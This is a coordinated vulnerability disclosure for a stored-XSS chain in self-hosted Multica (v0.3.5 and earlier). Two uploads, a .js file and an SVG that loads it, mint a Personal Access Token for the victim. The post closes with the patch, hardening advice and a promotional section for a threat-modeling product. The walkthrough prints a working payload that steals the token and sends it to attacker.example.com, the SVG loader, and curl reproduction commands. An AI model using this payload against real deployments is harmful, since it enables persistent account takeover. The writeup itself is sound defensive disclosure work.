Stored XSS to account takeover in Multica (self-hosted)
Full disclosure, coordinated with the Multica team. Patched in v0.3.6 via PR #3023.
Executive summary
Multica is a new open-source agentic task tracker, positioned as a self-hostable alternative to Claude Managed Agents. We assessed its security posture in late April 2026, focusing on the self-hosted deployment path. We identified and chained five weaknesses in the file-upload pipeline into a critical vulnerability within a single sitting (under thirty minutes from opening Oplane to a working proof-of-concept):
- An authenticated workspace member can upload a malicious SVG that, when any other user clicks Download, executes attacker-controlled JavaScript on the application’s own origin.
- The payload silently mints a Personal Access Token (PAT) on behalf of the victim and exfiltrates it.
- The stolen PAT survives password resets, session revocation, and removal of the attacker from the workspace, granting persistent access to every workspace the victim belongs to.
Net effect: any workspace member could fully take over any other user’s account on a self-hosted Multica instance, including admins and owners.
The bug was reported privately on 2026-04-29 and patched in v0.3.6 (released 2026-05-22) via PR #3023. All self-hosted Multica deployments running v0.3.5 or earlier with the default local-storage backend should upgrade immediately.
The speed of discovery is the lede here, not the bug itself. The exploitable composition was visible from the threat model alone. The rest was just typing.
Background: why we looked at Multica
Multica was announced in early 2026 as an open-source alternative to Claude Managed Agents: a Linear-style task tracker where AI agents are first-class citizens (they can be assigned issues, comment, change status, and run autonomously in local or cloud runtimes). The pitch was compelling (agentic workflows, self-hostable, MIT-licensed), and the team was actively encouraging companies to deploy it on their own infrastructure.
That last part is what made us curious. An agent platform that runs inside your network, holds API tokens for your code host, and can be assigned tasks against your private repositories is a sensitive dependency. We took a look at multica.ai and the public repository to assess the security posture, with a particular focus on the self-hosted deployment story, the path most early adopters were being pointed to.
A note on the project’s stage. At the time we looked, the repository was about three and a half months old (first commit 2026-01-13), had passed thirty thousand GitHub stars, and was cutting releases nearly every day. The core team is small and visibly relies on AI agents internally for development. None of this is a criticism. It’s the expected shape of a successful early-stage open-source product, and arguably the reason it’s growing fast. We mention it because it’s exactly the profile where a focused threat-modeling pass tends to find things. Velocity and security review are fundamentally on different clocks; when the velocity clock is set to "ship daily," the gap shows up sooner.
How we found it: threat modeling with Oplane
We did not stumble into this bug by fuzzing or grepping. We threat-modeled the file-upload pipeline in Oplane and let the model tell us where to look.
Oplane is an agentic threat modeling system. You point it at a scope (a feature, a subsystem, or a pull request) and it produces a data-flow diagram of the components involved, a ranked list of security requirements that scope ought to satisfy, and an implementation-status tracker for each. It plugs into agent-style coding tools (Claude Code, Cursor, etc.) over the Model Context Protocol, so the threat model is something you generate inline while reading the code, not an artifact you maintain on the side.
The scope we modeled was File Upload, Storage & Attachment Management: client-side upload, the Go multipart handler, S3 and local storage backends, CloudFront signed access, and the unauthenticated /uploads/* route used in self-hosted deployments. Oplane produced eleven security requirements against that scope. Four of them, taken together, are the vulnerability described in this writeup:
Access control for the local file serving route (
/uploads/*)Critical
SVG upload and serving security
High
File-type allowlist for uploads
High
Directory-listing prevention for the local file serving route
Critical
The interesting moment was when Oplane flagged directory-listing prevention (#4) as a separate requirement from /uploads/* access control (#1), even though both concern the same route. The model’s argument was that adding authentication would not, by itself, fix directory listing; an authenticated user shouldn’t be able to enumerate every file in a workspace either. That separation is what turned the SVG-XSS finding from a theoretical “well, you’d have to guess UUIDs” issue into a practical, weaponizable chain: once we accepted that the directory index was enumerable, the rest of the chain fell into place quickly.
TL;DR
In Multica versions ≤ 0.3.5 with the default local-storage backend, any authenticated workspace member could upload files that, when opened by another user, executed arbitrary JavaScript on the application’s own origin, leading to silent creation of a long-lived Personal Access Token (PAT) and full account takeover of the victim, including all workspaces they belonged to.
The vulnerability is not a single bug. It is a chain of five small decisions, each defensible on its own, that together produced a clean stored-XSS-to-account-takeover primitive. We think it is a useful case study in how layered defenses can still leave a path through, especially for products built fast.
The vulnerability chain
Uploads accepted any file type, including
.js,.svg, and.html.server/internal/handler/file.go
Active content can land on disk in the first place.
The
/uploads/*path was unauthenticated.server/cmd/server/router.go
Anyone (logged in or not) could fetch any uploaded file.
Directory listing was enabled, because
http.ServeFilewas pointed at a directory.server/internal/storage/local.go
UUID filenames were enumerable, defeating the only obscurity in the design.
Files were served inline with their natural
Content-Type.http.ServeFileinfers the type from the extension.Browsers render SVG and HTML as documents, not downloads.
The app’s Content Security Policy was
script-src 'self'.server/internal/middleware/csp.go
Same-origin scripts are allowed, and uploads live on the same origin as the app.
None of these is unusual in isolation. SVGs hosted on the application’s own domain, a Content Security Policy (CSP) that allows scripts from 'self', permissive uploads, directory listing on a static path. Every one of these is a common, mostly-tolerable choice. What made this exploitable end-to-end was that all five existed simultaneously and the upload directory was served from the application’s own origin (scheme + host + port). Anything that runs on that origin is treated by the browser as the application itself, including its right to read cookies and call the API on the user’s behalf.
Exploit walkthrough
The chain requires a member-level account on the target workspace and a victim who is logged into the same Multica instance.
First attempt: a single SVG with an inline script
The obvious starting point (and Oplane’s first proposed proof-of-concept) was a single SVG file carrying its payload directly:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>We uploaded it, opened it as a top-level document on the application origin, and… nothing. The browser silently refused to run the script.
The refusal was itself useful evidence. Multica’s Content Security Policy was doing its job: script-src 'self' blocks inline scripts, even on a same-origin document. So the textbook SVG-XSS attack (which still works against plenty of older or sloppier deployments) was correctly defeated here.
A checkbox-style reviewer would have stopped at this point and marked SVG XSS as "mitigated by CSP." That would have been wrong. The defense was real, but it only covered one shape of the attack.
Second attempt: split the payload across two uploads
If inline scripts are blocked, but the policy still permits scripts loaded from the application’s own origin, then the workaround is to put the script on the application’s own origin, and the upload endpoint accepts .js files. So we split the payload across two uploads: one .js file with the actual code, and one SVG that references it via <script src="…">. CSP sees a same-origin script source and lets it through.
That is the chain that worked. The five steps below describe it end to end.
1. Upload the JavaScript payload
The attacker uploads a plain .js file. The server stores it at a UUID-based path and serves it with Content-Type: application/javascript.
// payload.js
var csrf = document.cookie.split('; ')
.find(function (c) { return c.startsWith('multica_csrf='); });
csrf = csrf ? csrf.split('=')[1] : '';
fetch('/api/tokens', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrf },
body: JSON.stringify({ name: 'backup-key' }),
})
.then(function (r) { return r.json(); })
.then(function (data) {
new Image().src =
'https://attacker.example.com/steal?token=' +
encodeURIComponent(data.token);
});2. Upload an SVG that loads the payload
SVG is XML, not just an image format. It can carry a <script> element that loads an external JavaScript file. Because the script being loaded sits on the same origin (it’s the .js we just uploaded), Multica’s Content Security Policy allows it.
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 100">
<rect width="200" height="100" fill="#f0f0f0" rx="8"/>
<text x="100" y="55" text-anchor="middle" font-size="12">Architecture Diagram</text>
<script href="/uploads/workspaces/{wsID}/{payload-uuid}.js"/>
</svg>3. Get the victim to open it
The attacker pastes the SVG’s attachment URL into an issue description. Multica’s rich-text editor (Tiptap) renders SVG attachments as <img> thumbnails, which is safe: when an SVG is loaded as an image, the browser deliberately ignores any scripts inside it. The thumbnail is the lure, not the payload.
The trap springs when the victim clicks Download. The frontend’s download handler is, in effect:
window.open(src, "_blank", "noopener,noreferrer");This opens the SVG as a top-level document in a new tab, on http://your-multica-host/. At that point the SVG is no longer an <img>; it is a fully-fledged document with script execution rights on the application origin.
4. JavaScript executes; PAT is minted and exfiltrated
In the new tab, the browser:
- Parses the SVG as a document at the application origin.
- Encounters
<script href="/uploads/.../payload.js"/>and loads it. The CSP rulescript-src 'self'allows scripts hosted on the application’s own origin; the uploaded.jsqualifies. - Runs the payload, which reads
multica_csrffromdocument.cookie(it is notHttpOnly, by design; the frontend needs to read it). - Calls
POST /api/tokenswithcredentials: 'include'. The browser attaches the session cookie automatically. The CSRF check passes because the payload supplied the token it just read. - Receives a freshly minted Personal Access Token.
- Exfiltrates it via
new Image().src = "https://attacker.example.com/steal?token=…". CSPimg-src https:permits arbitrary HTTPS image sources.
5. Persistent access
The stolen mul_… PAT:
- Has no expiration unless the attacker chose to set one.
- Bypasses CSRF entirely (CSRF is only enforced for cookie-bearing requests).
- Works from any IP via
Authorization: Bearer …. - Survives password changes, session revocation, deletion of the SVG, and removal of the attacker from the workspace.
- Authorizes every workspace the victim belongs to.
In effect: a workspace member who can place a file in front of an admin owns the admin’s account, indefinitely. A PAT is the API equivalent of a password that never expires.
Why each existing defense did not stop it
Multica’s defenses were not naive. They were just individually insufficient against this particular composition.
| Defense | Why it didn’t help |
|---|---|
HttpOnly on the auth cookie | The payload doesn’t need to read it. fetch(..., { credentials: 'include' }) ships it automatically. |
| CSRF token validation | The CSRF cookie was readable by JS (it has to be, for the frontend to echo it back). XSS reads it the same way the legitimate frontend does. |
SameSite=Strict on cookies | The malicious request originates from the same origin. SameSite is irrelevant when you are the site. |
| UUID filenames | Directory listing on /uploads/workspaces/{wsID}/ printed every UUID in the workspace. |
noopener,noreferrer on the download window.open | These flags protect the opener from the new tab. They do nothing about script execution inside the new tab. |
script-src 'self' CSP | This is the linchpin. 'self' means “scripts hosted on this site”, and once arbitrary uploads land on this site, the attacker controls part of 'self'. |
Why none of the CSRF protections helped
Several rows of the table are about CSRF defenses, and they all fail for the same underlying reason. It’s worth saying once, clearly. Every CSRF defense (tokens, SameSite cookies, Origin / Referer checks) is a form of perimeter enforcement at the origin boundary. They all assume the attacker is somewhere else (evil.com) trying to ride a user’s session on your site (multica.com). Each defense is, ultimately, asking the same question: “is this request really coming from our own frontend?”
Multica’s CSRF defenses were working correctly. They were just all designed for an attacker on a different origin, and this attacker (by virtue of getting an upload to render as a document on Multica’s own origin) was no longer on a different origin. The perimeter was already breached; the inner defenses had nothing left to defend.
This is why “serve uploads from a separate origin” appears in the hardening list. It is the only fix that puts uploads back outside the perimeter, where the existing CSRF and cookie defenses can do their jobs again.
Reproduction (against a local dev image)
$ curl http://localhost:8080/uploads/workspaces/703f5229-fbc1-499f-ac71-c3ce258252ea/
<pre>
<a href="019dd47b-bfe0-7dae-a449-030d8ec78761.js">019dd47b-bfe0-7dae-a449-030d8ec78761.js</a>
<a href="019dd47b-f305-79a4-9ab7-08e4079ca433.svg">019dd47b-f305-79a4-9ab7-08e4079ca433.svg</a>
</pre>Directory listing: unauthenticated, anonymous.
$ curl -X POST http://localhost:8080/api/tokens \
-b victim_cookies.txt \
-H "X-CSRF-Token: 9942a2cf..." \
-H "Content-Type: application/json" \
-d '{"name":"backup-key"}'
{"token": "mul_3633e955c08729683f1d277a2028ccc9d043268e", ...}PAT minted with the victim’s cookies: exactly what the in-browser payload does.
$ curl http://localhost:8080/api/me -H "Authorization: Bearer mul_3633e955..."
{"id":"882c1431-...","name":"victim","email":"victim@test.com",...}Stolen PAT used independently: no cookies, no CSRF token, full access.
In the browser, opening the two-file SVG (referencing the uploaded .js via <script src>) executes the payload and fires the proof alert(). The single-file inline-script SVG from the first attempt continues to be blocked by CSP, confirming that the bypass is the chain, not a global CSP failure.
The fix
Multica shipped PR #3023 as part of v0.3.6 on 2026-05-22. The patch is small and surgical: image/svg+xml is excluded from isInlineContentType, so both the local and S3 storage backends now serve SVG with Content-Disposition: attachment. Browsers do not execute scripts in downloaded files, which breaks the third step of the walkthrough: the SVG can no longer become a top-level document on the application origin.
This is the minimal correct fix. It deliberately does not try to sanitize SVG (which is an arms race) or reject .svg uploads outright (existing logos and diagrams keep working). It assumes nothing about the attacker’s content; it just refuses to render it inline.
A follow-up, PR #3050, normalizes the MIME-type comparison in isInlineContentType to defend against case-sensitivity / parameter-suffix bypasses (Image/SVG+XML, image/svg+xml; charset=utf-8).
If you operate a self-hosted Multica deployment, upgrade to v0.3.6 or later. There is no configuration mitigation for older versions short of removing the /uploads/* route or fronting it with a reverse proxy that overrides Content-Disposition for .svg/.html.
Hardening we’d recommend on top of the immediate fix
The patched version closes the exploited path. The remaining requirements from the same threat model (/uploads/* access control, file-type allowlist, and directory-listing prevention) are still open. We’d encourage operators and the upstream team to pursue them:
- Disable directory listing on
/uploads/*. UUID filenames are only obscurity, but enumerating them shouldn’t be free. - Authenticate
/uploads/*and check workspace membership. There is no scenario in which an anonymous internet user should be able to fetch a workspace’s attachments. - File-type allowlist on upload. Reject
.js,.html, executables, and similar by default; allow images, PDF, and common document formats. - Send
X-Content-Type-Options: nosniffon every response. - Apply a tight CSP on the upload path specifically.
default-src 'none'; sandboxas a starting point. - Long-term: serve uploads from a separate origin (e.g.
uploads.<host>). This is the structural fix for this entire class of vulnerability: application cookies do not apply, and a script in an upload cannot ride the user’s session no matter what content type it claims.
The first five are inexpensive. The sixth is a small architectural shift but pays for itself the first time you encounter exactly this kind of bug.
Disclosure timeline
All times in UTC.
- Threat-modeled the File Upload, Storage & Attachment Management scope in Oplane (eleven requirements generated, including a separately-flagged directory-listing requirement), then chained the findings into a working exploit and reproduced it end-to-end against
multica-backend:dev(commit2cced51d): SVG → JS payload → PAT exfiltration confirmed in a real browser. Elapsed time, threat model to working PoC: under 30 minutes. - Private vulnerability report sent to the Multica security contact, including reproduction steps, proof-of-concept files, and recommended fixes. Multica acknowledged receipt the same day, confirmed Critical severity, and agreed on a 90-day disclosure window with intent to ship a fix sooner.
- Multica shared a draft fix (force
Content-Disposition: attachmentfor SVG). We confirmed it broke the demonstrated chain in our local reproduction. - PR #3023 merged to
main. - Verified upgraded instance no longer reproduces the chain end-to-end.
- Public disclosure (this writeup).
The Multica team was responsive throughout, asked good clarifying questions, and shipped a focused fix rather than a sprawling one. That is the right reflex.
Why fixes are slower than finds, even on a daily-release project
The vulnerability was found, chained, and reproduced in under thirty minutes. From private report to merged fix took 22 days. The fix itself is forty-seven lines across three files: a one-line MIME exclusion plus its tests. The Multica team uses AI coding agents internally and cuts releases nearly every day, so why did the patch take that long? The uncomfortable truth is that patching and finding timelines almost always exist in an uneven tension, with fixes taking longer than finds; the observed timeline here, while it may seem lengthy, is not uncommon.
It’s important to be clear about what “fixing” actually involves. The window from report to released patch isn’t the time to write the patch (that part was minutes); it’s the lead time around it: triage and confirmation, deciding the right shape of the fix, code review, regression testing, branching and releasing, writing release notes, getting the new version into customer hands. In an installed-app world, every one of those steps has a floor that doesn’t move just because the diff is small. That’s most likely where the 22 days went.
We don’t think this is a criticism of Multica. They were responsive and the disclosure window was generous. We think it’s a structural observation about where the bottleneck in find-and-fix loops is moving.
A few honest hypotheses:
- Triage and confirmation are the bottleneck, not coding. Receiving a critical report, reproducing it, agreeing on the right fix shape (force-attachment vs sanitize vs reject), and validating it doesn’t break existing workflows is real work. The actual code change was trivial. This part is human-paced today: it requires somebody with authority to commit the company to a security narrative.
- Release engineering for installed apps is heavier than for SaaS. Multica ships a desktop app. Even when the server-side fix is one line, “make sure desktop installations on older versions still work after we change a response” is real work. CI, regression coverage, release notes, version policy. None of it is hard, but none of it is three minutes either.
- Coordination cost scales with severity, not change size. A critical security fix wants more eyes, not fewer. That gates wall-clock time regardless of how many agents you have available to type.
- Agents currently accelerate code production, not decisions. This is the interesting one. Agents are excellent at “implement this” and middling at “is this the right thing to implement?” The 30-minute discovery loop on our side compressed the thinking (where to look, how the chain composes, what the minimal fix is), not the typing. If a vendor’s internal loop only compresses the typing, the asymmetry we observed is exactly what you would predict.
What this points to, more broadly, is that find-and-fix loops are going to compress unevenly. The “find” side benefits enormously from agentic threat modeling. That’s what this writeup demonstrates. The “fix” side will catch up, but the bottleneck will shift one layer further inward: past typing the patch (already cheap), past designing the patch (becoming cheap), and into deciding whether and how to commit organisationally to the patch. Risk acceptance, regression scope, customer communication, version policy. Those are judgment calls, and judgment calls don’t compress the same way code does.
The optimistic reading: in a year or two, "30 minutes to a working PoC" will be matched by "30 minutes to a merged fix" for the easy cases. The pessimistic reading: defenders get a faster discovery loop, attackers get the same thing, and the gap between "known" and "patched" stays roughly the size it is today because the human-coordination steps that gate it haven’t moved.
For a project like Multica specifically, the highest-leverage change isn’t more agents on the build side. It’s putting Oplane (or something like it) on the defensive side of the loop, running on every PR. That moves the discovery-fix asymmetry inside their CI, where they can act on it, instead of outside, where they have to wait for somebody to find a bug and tell them about it.
Closing thoughts
The interesting thing about this bug, to us, isn’t the SVG trick; that is well-known. It’s the way an agent-platform deployment model concentrates the blast radius. A stolen PAT in a traditional task tracker is bad; a stolen PAT in a system where AI agents act on your behalf, in your repositories, with your secrets, is materially worse. Self-hosted agentic products are going to be a recurring target, and “uploads served from the app origin” is going to keep being the soft spot.
If you’re shipping something in this space, the high-leverage move is to put uploads on a different origin and never have to think about the chain in this post again.
If you operate Multica and have questions about exposure or upgrading, the v0.3.6 release notes and the linked PRs cover the change in full. For broader questions about reviewing self-hosted agentic platforms, get in touch.
Find chains like this in your own architecture
Oplane threat-models your code at the architectural level and catches the compositions that single-issue scanners miss.